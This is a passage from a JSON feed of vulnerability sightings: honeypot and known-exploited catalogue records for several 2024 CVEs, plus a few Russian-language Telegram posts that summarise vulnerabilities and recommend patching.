\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T04:00:04.232267Z"}, {"uuid": "2d74d145-fc38-4a92-b884-1f1b194c05f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-18)", "content": "", "creation_timestamp": "2026-06-18T00:00:00.000000Z"}, {"uuid": "0a71eddb-a41b-416b-a96a-3464bc28aea7", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db571032-609f-418f-a75d-d5e92434c117", "content": "", "creation_timestamp": "2026-06-19T12:46:29.533107Z"}, {"uuid": "6be61934-76ff-4fec-ac72-7855aae1551c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e3563d86-3ceb-405f-bb37-d055916962c3", "content": "", "creation_timestamp": "2026-06-19T12:46:29.467939Z"}, {"uuid": "2db7c9c6-22ee-4bb2-b553-6a4f0b99ba73", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/33710408-74ea-4dd0-9dd1-6261e194b6a3", "content": "", "creation_timestamp": "2026-06-19T12:46:31.389131Z"}, {"uuid": "cee21f3d-523f-4e2b-9416-849dcdc94356", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/56996b06-b400-4045-bdf3-400cc9f3fbaa", "content": "", "creation_timestamp": "2026-06-19T12:46:16.076672Z"}, {"uuid": "811ac0c9-7664-43fc-ae58-c9ac2ad4b35e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3224cdce-36f0-49f0-a129-5f3932efff20", "content": "", "creation_timestamp": "2026-06-19T12:45:49.042487Z"}, {"uuid": "7e03bed9-550c-4283-bf28-93309aab54f2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/45665eb8-3e57-495d-8b2c-94ce90ff1bee", "content": "", "creation_timestamp": "2026-06-19T12:46:30.007342Z"}, {"uuid": "3b0be2d0-86d6-4929-bbf6-ea5469f86de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-09)", "content": "", "creation_timestamp": "2026-08-10T10:00:03.554666Z"}, {"uuid": "ba7c4f48-8146-416c-a010-0ed8d5bf06d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-09)", "content": "", "creation_timestamp": "2026-08-10T10:00:06.156859Z"}, {"uuid": "4611b7dd-0f82-46dc-a9b9-285565ebfa61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-19)", "content": "", "creation_timestamp": "2026-06-19T00:00:00.000000Z"}, {"uuid": "4f2efd82-259f-4305-8c30-fd7ccda27894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-20)", "content": "", "creation_timestamp": "2026-06-20T00:00:00.000000Z"}, {"uuid": "89f871a7-cccd-4627-81b1-96073253d47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-20)", "content": "", "creation_timestamp": "2026-06-20T00:00:00.000000Z"}, {"uuid": "01170029-a691-48ef-80e4-1b39653ef4bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-09)", "content": "", "creation_timestamp": "2026-08-10T10:15:04.183052Z"}, {"uuid": "3c8044cd-affa-4f85-bda8-ebdb1650a1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-21)", "content": "", "creation_timestamp": "2026-06-21T00:00:00.000000Z"}, {"uuid": "aca008fc-b607-4dfb-88e7-7c7fcea6f97f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-21)", "content": "", "creation_timestamp": "2026-06-21T00:00:00.000000Z"}, {"uuid": "0fca8feb-8c69-45b9-a271-6d46a1eee3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-22)", "content": "", "creation_timestamp": "2026-06-22T00:00:00.000000Z"}, {"uuid": "df3958db-5a17-413b-9abb-23838e2aa5c9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4227b07e-29a6-477d-86c4-b8c710f90faf", "content": "", "creation_timestamp": "2026-06-23T14:03:02.758130Z"}, {"uuid": "45d6eeb1-eed9-48d6-8142-a870138c626e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9deb4418-9611-4f9f-b22d-d9f91c8b3fcc", "content": "", "creation_timestamp": "2026-06-23T14:03:15.627871Z"}, {"uuid": "93dc85f8-e4d9-4294-a62e-27bf5a852b4b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ec2910b4-cc60-4140-b01a-b583f19ef8d3", "content": "", "creation_timestamp": "2026-06-23T14:04:01.676041Z"}, {"uuid": "b71ddeb3-c27c-49d1-84d7-267b2bb23e6f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/72f19daa-477f-450c-9a54-234878ce7a4e", "content": "", "creation_timestamp": "2026-06-23T14:06:01.108293Z"}, {"uuid": "e4394b71-4a40-4fa8-93d1-7e90bccd994f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-23)", "content": "", "creation_timestamp": "2026-06-23T00:00:00.000000Z"}, {"uuid": "1207b204-e941-4227-94be-7bdc9575f426", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/96d8ef0b-50d1-4729-939d-12d00be153e3", "content": "", "creation_timestamp": "2026-06-23T14:06:02.719171Z"}, {"uuid": "23130d04-4893-492c-95b8-00be10a2554d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/da86cf79-a6b7-4e50-901e-c28c6f91093e", "content": "", "creation_timestamp": "2026-06-23T14:06:03.191053Z"}, {"uuid": "7068b206-beb9-463f-ae8f-4d38c3b95eca", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f95d5f58-01e6-4068-8315-1e5bc32a0fd2", "content": "", "creation_timestamp": "2026-06-23T14:06:09.139191Z"}, {"uuid": "b09741a8-58d2-4a54-8237-ba6c384771be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-23)", "content": "", "creation_timestamp": "2026-06-23T00:00:00.000000Z"}, {"uuid": "ad4f35c0-e233-43b2-94c3-0c3ca3941f8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:00:04.360286Z"}, {"uuid": "6d8b8f4c-f8d2-4f7f-ba78-57f6dda70649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:15:06.745702Z"}, {"uuid": "0771360f-1ac5-4cc2-a710-37979d06ca0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-25)", "content": "", "creation_timestamp": "2026-06-26T10:00:03.815933Z"}, {"uuid": "0d9548c8-2fe2-4dad-978f-6636f34bc85b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-05)", "content": "", "creation_timestamp": "2026-08-06T10:00:03.875793Z"}, {"uuid": "e609201c-8b19-4cad-bec6-f3aebd239d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-25)", "content": "", "creation_timestamp": "2026-06-26T10:15:04.855481Z"}, {"uuid": "aef12ee5-9f64-48ff-aca6-7e4845f719a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:42.363401Z"}, {"uuid": "435323ef-7d9a-47fc-9d3f-62c9e86a3ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:00:03.351173Z"}, {"uuid": "39c735c2-6883-4124-9f5d-16c41da8a2cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-05)", "content": "", "creation_timestamp": "2026-08-06T10:15:05.038581Z"}, {"uuid": "75144fe0-6164-4edf-864c-17afa91f4b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:15:04.441733Z"}, {"uuid": "d245a256-d2ac-43c7-8ab6-763eea5e0f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:00:03.693519Z"}, {"uuid": "0fe73a83-c630-43dc-bddb-c7f096fa6223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 